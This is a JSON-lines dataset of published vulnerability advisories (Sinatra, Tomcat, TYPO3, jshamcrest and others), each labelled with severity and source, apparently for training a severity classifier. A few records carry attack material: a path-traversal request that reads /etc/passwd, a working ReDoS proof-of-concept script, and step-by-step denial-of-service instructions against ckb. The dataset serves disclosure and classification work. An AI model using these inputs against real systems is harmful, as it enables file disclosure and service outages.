-{"id": "dbb7fd60de8286b57ccf", "text": "Sinatra Cross-site Scripting vulnerability\n\nSinatra before 2.0.2 has XSS via the 400 Bad Request page that occurs upon a params parser exception.", "text_raw": "Sinatra Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nSinatra before 2.0.2 has XSS via the 400 Bad Request page that occurs upon a params parser exception.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-06-05", "split": "train"}
-{"id": "040b9de98df6b9626c2d", "text": "Infinite loop in Tomcat due to parsing error\n\nApache Tomcat 8.5.0 to 8.5.63, 9.0.0-M1 to 9.0.43 and 10.0.0-M1 to 10.0.2 did not properly validate incoming TLS packets. When Tomcat was configured to use NIO+OpenSSL or NIO2+OpenSSL for TLS, a specially crafted packet could be used to trigger an infinite loop resulting in a denial of service.", "text_raw": "Infinite loop in Tomcat due to parsing error\n\n[Severity: HIGH]\n\nApache Tomcat 8.5.0 to 8.5.63, 9.0.0-M1 to 9.0.43 and 10.0.0-M1 to 10.0.2 did not properly validate incoming TLS packets. When Tomcat was configured to use NIO+OpenSSL or NIO2+OpenSSL for TLS, a specially crafted packet could be used to trigger an infinite loop resulting in a denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "2f181478cd0943d18498", "text": "Denial of Service in @commercial/hapi\n\nAffected versions of `@commercial/hapi` are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to versions 16.8.2, 17.9.2, 18.4.1, 19.1.1 or later.", "text_raw": "Denial of Service in @commercial/hapi\n\n[Severity: HIGH]\n\nAffected versions of `@commercial/hapi` are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to versions 16.8.2, 17.9.2, 18.4.1, 19.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "069f1e827d7673eb710d", "text": "JSON-jwt Gem lacked element count during splitting of JWE string\n\nThe json-jwt gem before 1.11.0 for Ruby lacks an element count during the splitting of a JWE string.", "text_raw": "JSON-jwt Gem lacked element count during splitting of JWE string\n\n[Severity: HIGH]\n\nThe json-jwt gem before 1.11.0 for Ruby lacks an element count during the splitting of a JWE string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-14", "split": "train"}
-{"id": "e0c06e1db71e8f8c67e4", "text": "Improper Restriction of XML External Entity Reference in ladon\n\nLadon since 0.6.1 (since ebef0aae48af78c159b6fce81bc6f5e7e0ddb059) is affected by: XML External Entity (XXE). The impact is: Information Disclosure, reading files and reaching internal network endpoints. The component is: SOAP request handlers. For instance: https://bitbucket.org/jakobsg/ladon/src/42944fc012a3a48214791c120ee5619434505067/src/ladon/interfaces/soap.py#lines-688. The attack vector is: Send a specially crafted SOAP call.", "text_raw": "Improper Restriction of XML External Entity Reference in ladon\n\n[Severity: CRITICAL]\n\nLadon since 0.6.1 (since ebef0aae48af78c159b6fce81bc6f5e7e0ddb059) is affected by: XML External Entity (XXE). The impact is: Information Disclosure, reading files and reaching internal network endpoints. The component is: SOAP request handlers. For instance: https://bitbucket.org/jakobsg/ladon/src/42944fc012a3a48214791c120ee5619434505067/src/ladon/interfaces/soap.py#lines-688. The attack vector is: Send a specially crafted SOAP call.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "5e5ad8db60841d2c1020", "text": "Out of bounds write in nalgebra\n\nThe `Deserialize` implementation for `VecStorage` did not maintain the invariant that the number of elements must equal `nrows * ncols`. Deserialization of specially crafted inputs could allow memory access beyond allocation of the vector.\n\nThis flaw was introduced in v0.11.0 ([`086e6e`](https://github.com/dimforge/nalgebra/commit/086e6e719f53fecba6dadad2e953a487976387f5)) due to the addition of an automatically derived implementation of `Deserialize` for `MatrixVec`. `MatrixVec` was later renamed to `VecStorage` in v0.16.13 ([`0f66403`](https://github.com/dimforge/nalgebra/commit/0f66403cbbe9eeac15cedd8a906c0d6a3d8841f2)) and continued to use the automatically derived implementation of `Deserialize`.", "text_raw": "Out of bounds write in nalgebra\n\n[Severity: CRITICAL]\n\nThe `Deserialize` implementation for `VecStorage` did not maintain the invariant that the number of elements must equal `nrows * ncols`. Deserialization of specially crafted inputs could allow memory access beyond allocation of the vector.\n\nThis flaw was introduced in v0.11.0 ([`086e6e`](https://github.com/dimforge/nalgebra/commit/086e6e719f53fecba6dadad2e953a487976387f5)) due to the addition of an automatically derived implementation of `Deserialize` for `MatrixVec`. `MatrixVec` was later renamed to `VecStorage` in v0.16.13 ([`0f66403`](https://github.com/dimforge/nalgebra/commit/0f66403cbbe9eeac15cedd8a906c0d6a3d8841f2)) and continued to use the automatically derived implementation of `Deserialize`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2dfd015ab7038444d5dc", "text": "HTTP request smuggling in Undertow\n\nA flaw was found in Undertow. A regression in the fix for CVE-2020-10687 was found. HTTP request smuggling related to CVE-2017-2666 is possible against HTTP/1.x and HTTP/2 due to permitting invalid characters in an HTTP request. This flaw allows an attacker to poison a web-cache, perform an XSS attack, or obtain sensitive information from request other than their own. The highest threat from this vulnerability is to data confidentiality and integrity.", "text_raw": "HTTP request smuggling in Undertow\n\n[Severity: MEDIUM]\n\nA flaw was found in Undertow. A regression in the fix for CVE-2020-10687 was found. HTTP request smuggling related to CVE-2017-2666 is possible against HTTP/1.x and HTTP/2 due to permitting invalid characters in an HTTP request. This flaw allows an attacker to poison a web-cache, perform an XSS attack, or obtain sensitive information from request other than their own. The highest threat from this vulnerability is to data confidentiality and integrity.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "f1c891825013dae9d0cd", "text": "actionpack vulnerable to Cross-site Scripting\n\nCross-site scripting (XSS) vulnerability in the `number_to_currency` helper in `actionpack/lib/action_view/helpers/number_helper.rb` in Ruby on Rails before 3.2.16 and 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via the unit parameter.", "text_raw": "actionpack vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the `number_to_currency` helper in `actionpack/lib/action_view/helpers/number_helper.rb` in Ruby on Rails before 3.2.16 and 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via the unit parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "0f9bf0b601c2f36c64a6", "text": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "83dcd8914d3a165def70", "text": "Improper privilege management in Keycloak\n\nA flaw was found in Keycloak, where it would permit a user with a view-profile role to manage the resources in the new account console. This flaw allows a user with a view-profile role to access and modify data for which the user does not have adequate permission.", "text_raw": "Improper privilege management in Keycloak\n\n[Severity: HIGH]\n\nA flaw was found in Keycloak, where it would permit a user with a view-profile role to manage the resources in the new account console. This flaw allows a user with a view-profile role to access and modify data for which the user does not have adequate permission.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "fb772ca11a6488bfb84d", "text": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nForced Object-Graph Navigation Language (OGNL) evaluation in Apache Struts, when evaluated on raw user input in tag attributes, can lead to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nForced Object-Graph Navigation Language (OGNL) evaluation in Apache Struts, when evaluated on raw user input in tag attributes, can lead to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a46c0c5b24bbb3661b44", "text": "Directory Traversal in yttivy\n\nAffected versions of `yttivy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in yttivy\n\n[Severity: HIGH]\n\nAffected versions of `yttivy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "e90b3b0acf121215625d", "text": "Regular Expression Denial of Service in jshamcrest\n\nThe `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\nreturn result;\n}\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\nvar end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).", "text_raw": "Regular Expression Denial of Service in jshamcrest\n\n[Severity: HIGH]\n\nThe `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a018bfb4a5b968d7f408", "text": "Remote memory exhaustion in ckb\n\nIn the ckb sync protocol, SyncState maintains a HashMap called 'misbehavior' that keeps a score of a peer's violations of the protocol. This HashMap is keyed to PeerIndex (an alias for SessionId), and entries are never removed from it. SessionId is an integer that increases monotonically with every new connection.\n\nA remote attacker can manipulate this HashMap to grow forever, resulting in degraded performance and ultimately a panic on allocation failure or being killed by the OS, depending on the platform.\n\nAn attack is trivial:\n\n1. connect to another node\n2. send an invalid sync protocol request, such as `SendHeaders` for non-consecutive blocks\n3. disconnect\n4. repeat", "text_raw": "Remote memory exhaustion in ckb\n\n[Severity: HIGH]\n\nIn the ckb sync protocol, SyncState maintains a HashMap called 'misbehavior' that keeps a score of a peer's violations of the protocol. This HashMap is keyed to PeerIndex (an alias for SessionId), and entries are never removed from it. SessionId is an integer that increases monotonically with every new connection.\n\nA remote attacker can manipulate this HashMap to grow forever, resulting in degraded performance and ultimately a panic on allocation failure or being killed by the OS, depending on the platform.\n\nThis is a critical severity security bug. It could be exploited to create a targeted or network-wide denial of service, to reduce the hash power of the network as part of a 51% attack, and perhaps in other creative ways.\n\nAn attack is trivial:\n\n1. connect to another node\n2. send an invalid sync protocol request, such as `SendHeaders` for non-consecutive blocks\n3. disconnect\n4. repeat", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "58b38ca028827e9f32f2", "text": "Missing Required Cryptographic Step Leading to Sensitive Information Disclosure in TYPO3 CMS\n\n### Problem\nIt has been discovered that an internal verification mechanism can be used to generate arbitrary checksums. This allows to inject arbitrary data having a valid cryptographic message authentication code (HMAC-SHA1) and can lead to various attack chains as described below.\n\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007), [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099): Potential Privilege Escalation\n  + the database server used for a TYPO3 installation must be accessible for an attacker (either via internet or shared hosting network)\n  + `` (7.5, high)\n* [TYPO3-CORE-SA-2016-013](https://typo3.org/security/advisory/typo3-core-sa-2016-013), [CVE-2016-5091](https://nvd.nist.gov/vuln/detail/CVE-2016-5091): Insecure Deserialization & Remote Code Execution\n  + an attacker must have access to at least one Extbase plugin or module action in a TYPO3 installation\n  + `` (9.1, critical)\n\n### Solution\nUpdate to TYPO3 versions 9.5.20 or 10.4.6 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-008](https://typo3.org/security/advisory/typo3-core-sa-2020-008)", "text_raw": "Missing Required Cryptographic Step Leading to Sensitive Information Disclosure in TYPO3 CMS\n\n[Severity: HIGH]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (8.2)\n> * CWE-325, CWE-20, CWE-200, CWE-502\n\n### Problem\nIt has been discovered that an internal verification mechanism can be used to generate arbitrary checksums. This allows to inject arbitrary data having a valid cryptographic message authentication code (HMAC-SHA1) and can lead to various attack chains as described below.\n\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007), [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099): Potential Privilege Escalation\n  + the database server used for a TYPO3 installation must be accessible for an attacker (either via internet or shared hosting network)\n  + `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (7.5, high)\n* [TYPO3-CORE-SA-2016-013](https://typo3.org/security/advisory/typo3-core-sa-2016-013), [CVE-2016-5091](https://nvd.nist.gov/vuln/detail/CVE-2016-5091): Insecure Deserialization & Remote Code Execution\n  + an attacker must have access to at least one Extbase plugin or module action in a TYPO3 installation\n  + `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (9.1, critical)\n\nThe overall severity of this vulnerability is **high (8.2)** based on mentioned attack chains and the requirement of having a valid backend user session (authenticated).\n\n### Solution\nUpdate to TYPO3 versions 9.5.20 or 10.4.6 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-008](https://typo3.org/security/advisory/typo3-core-sa-2020-008)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "8abc7c92f0d54b761297", "text": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure", "text_raw": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-02-04", "split": "train"}
-{"id": "c3c7fb82db494ce748fa", "text": "LogicalDOC Enterprise 7.7.4 Reflected Cross-Site Scripting Vulnerabilities", "text_raw": "LogicalDOC Enterprise 7.7.4 Reflected Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-02-11", "split": "train"}
-{"id": "471878c81c941bcfc292", "text": "File exposure in pleaser\n\npleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.", "text_raw": "File exposure in pleaser\n\n[Severity: LOW]\n\npleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c1e440c50d02facb924c", "text": "Data races in scottqueue\n\nAn issue was discovered in the scottqueue crate through 2020-11-15 for Rust. There are unconditional implementations of Send and Sync for Queue<T>. This allows (1) creating data races to a `T: !Sync` and (2) sending `T: !Send` to other threads, resulting in memory corruption or other undefined behavior.", "text_raw": "Data races in scottqueue\n\n[Severity: HIGH]\n\nAn issue was discovered in the scottqueue crate through 2020-11-15 for Rust. There are unconditional implementations of Send and Sync for Queue<T>. This allows (1) creating data races to a `T: !Sync` and (2) sending `T: !Send` to other threads, resulting in memory corruption or other undefined behavior.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7413d99ade552967ff76", "text": "Denial of Service\n\n**Withdrawn:** Duplicate of GHSA-j95h-wmx9-4279.\n\nAffected versions of the package are vulnerable to a Denial of Service attack sending an OPTIONS request for an undefined route.", "text_raw": "Denial of Service\n\n[Severity: HIGH]\n\n\n**Withdrawn:** Duplicate of GHSA-j95h-wmx9-4279.\n\nAffected versions of the package are vulnerable to a Denial of Service attack sending an OPTIONS request for an undefined route.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "d56f55dedaf9b5384285", "text": "Insecure use of temporary files in passenger\n\nPhusion Passenger before 4.0.38 allows local users to write to certain files and directories via a symlink attack on \n1. `control_process.pid` or \n2. a generation-* file.", "text_raw": "Insecure use of temporary files in passenger\n\n[Severity: LOW]\n\nPhusion Passenger before 4.0.38 allows local users to write to certain files and directories via a symlink attack on \n1. `control_process.pid` or \n2. a generation-* file.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "2c9d169a43a1d2618425", "text": "Privilage Escalation in moodle\n\nIf the upload course tool in Moodle was used to delete an enrollment method which did not exist or was not already enabled, the tool would erroneously enable that enrollment method. This could lead to unintended users gaining access to the course. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "text_raw": "Privilage Escalation in moodle\n\n[Severity: MEDIUM]\n\nIf the upload course tool in Moodle was used to delete an enrollment method which did not exist or was not already enabled, the tool would erroneously enable that enrollment method. This could lead to unintended users gaining access to the course. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "d47368ba7fc73551c6dd", "text": "Ivanti Pulse Connect Secure Unrestricted File Upload Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an unrestricted file upload vulnerability that allows an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Unrestricted File Upload Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an unrestricted file upload vulnerability that allows an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "dbf7dc03d203b0100705", "text": "Cross-site scripting in media2click\n\nThe media2click (aka 2 Clicks for External Media) extension 1.x before 1.3.3 for TYPO3 allows XSS by a backend user account.", "text_raw": "Cross-site scripting in media2click\n\n[Severity: MEDIUM]\n\nThe media2click (aka 2 Clicks for External Media) extension 1.x before 1.3.3 for TYPO3 allows XSS by a backend user account.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "1f12eeefd2e900220793", "text": "SQL Injection in resquel\n\nAll versions of `resquel` are vulnerable to SQL Injection. Query parameters are not properly sanitized, allowing attackers to inject SQL statements and execute arbitrary SQL queries\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "SQL Injection in resquel\n\n[Severity: HIGH]\n\nAll versions of `resquel` are vulnerable to SQL Injection. Query parameters are not properly sanitized, allowing attackers to inject SQL statements and execute arbitrary SQL queries\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "59dac1806eb0c1fbc0a2", "text": "In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response.", "text_raw": "Moderate severity vulnerability that affects io.vertx:vertx-core\n\n[Severity: MEDIUM]\n\nIn Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "3ea3a00ee468be16e652", "text": "Arbitrary File Write in iobroker.admin\n\nVersions of `iobroker.admin` prior to 3.6.12 are vulnerable to Path Traversal. The package fails to restrict access to folders outside of the intended folder in the `/log/` route, which may allow attackers to include arbitrary files in the system. An attacker would need to be authenticated to perform the attack but the package has authentication disabled by default.\n\n## Recommendation\n\nUpgrade to version 3.6.12 or later.", "text_raw": "Arbitrary File Write in iobroker.admin\n\n[Severity: CRITICAL]\n\nVersions of `iobroker.admin` prior to 3.6.12 are vulnerable to Path Traversal. The package fails to restrict access to folders outside of the intended folder in the `/log/` route, which may allow attackers to include arbitrary files in the system. An attacker would need to be authenticated to perform the attack but the package has authentication disabled by default.\n\n\n## Recommendation\n\nUpgrade to version 3.6.12 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "9e5bf01b0c8763c01bb7", "text": "Dependency Confusion in Bundler\n\nBundler 1.16.0 through 2.2.9 and 2.2.11 through 2.2.17 sometimes chooses a dependency source based on the highest gem version number, which means that a rogue gem found at a public source may be chosen, even if the intended choice was a private gem that is a dependency of another private gem that is explicitly depended on by the application.", "text_raw": "Dependency Confusion in Bundler\n\n[Severity: HIGH]\n\nBundler 1.16.0 through 2.2.9 and 2.2.11 through 2.2.17 sometimes chooses a dependency source based on the highest gem version number, which means that a rogue gem found at a public source may be chosen, even if the intended choice was a private gem that is a dependency of another private gem that is explicitly depended on by the application.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "080cfc6ffe346877a2a1", "text": "PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability", "text_raw": "PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-06-04", "split": "train"}
-{"id": "4f39ce0c0ea0f17ff0aa", "text": "Validation Bypass in kind-of\n\nVersions of `kind-of` 6.x prior to 6.0.3 are vulnerable to a Validation Bypass. A maliciously crafted object can alter the result of the type check, allowing attackers to bypass the type checking validation.\n\n## Recommendation\n\nUpgrade to versions 6.0.3 or later.", "text_raw": "Validation Bypass in kind-of\n\n[Severity: HIGH]\n\nVersions of `kind-of` 6.x prior to 6.0.3 are vulnerable to a Validation Bypass. A maliciously crafted object can alter the result of the type check, allowing attackers to bypass the type checking validation. \n\n\n## Recommendation\n\nUpgrade to versions 6.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-31", "split": "train"}
-{"id": "5b905b9084fdaf03fa3d", "text": "Malicious Package in buffer-xo2\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xo2\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "819c370f0e305ef81a8c", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "742d4ceb2da51f2f409e", "text": "Phusion Passenger allows remote attackers to spoof headers\n\n`agent/Core/Controller/SendRequest.cpp` in Phusion Passenger before 4.0.60 and 5.0.x before 5.0.22, when used in Apache integration mode or in standalone mode without a filtering proxy, allows remote attackers to spoof headers passed to applications by using an `_` (underscore) character instead of a `-` (dash) character in an HTTP header, as demonstrated by an `X_User` header.", "text_raw": "Phusion Passenger allows remote attackers to spoof headers\n\n[Severity: LOW]\n\n`agent/Core/Controller/SendRequest.cpp` in Phusion Passenger before 4.0.60 and 5.0.x before 5.0.22, when used in Apache integration mode or in standalone mode without a filtering proxy, allows remote attackers to spoof headers passed to applications by using an `_` (underscore) character instead of a `-` (dash) character in an HTTP header, as demonstrated by an `X_User` header.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "ce2fa63c79b6393bf03b", "text": "Netis WF2419 Devices Remote Code Execution Vulnerability\n\nAffected: Netis WF2419 Devices\n\nNetis WF2419 devices contains an unspecified vulnerability that allows an attacker to perform remote code execution as root through the router's web management page.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Netis WF2419 Devices Remote Code Execution Vulnerability\n\nAffected: Netis WF2419 Devices\n\nNetis WF2419 devices contains an unspecified vulnerability that allows an attacker to perform remote code execution as root through the router's web management page.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
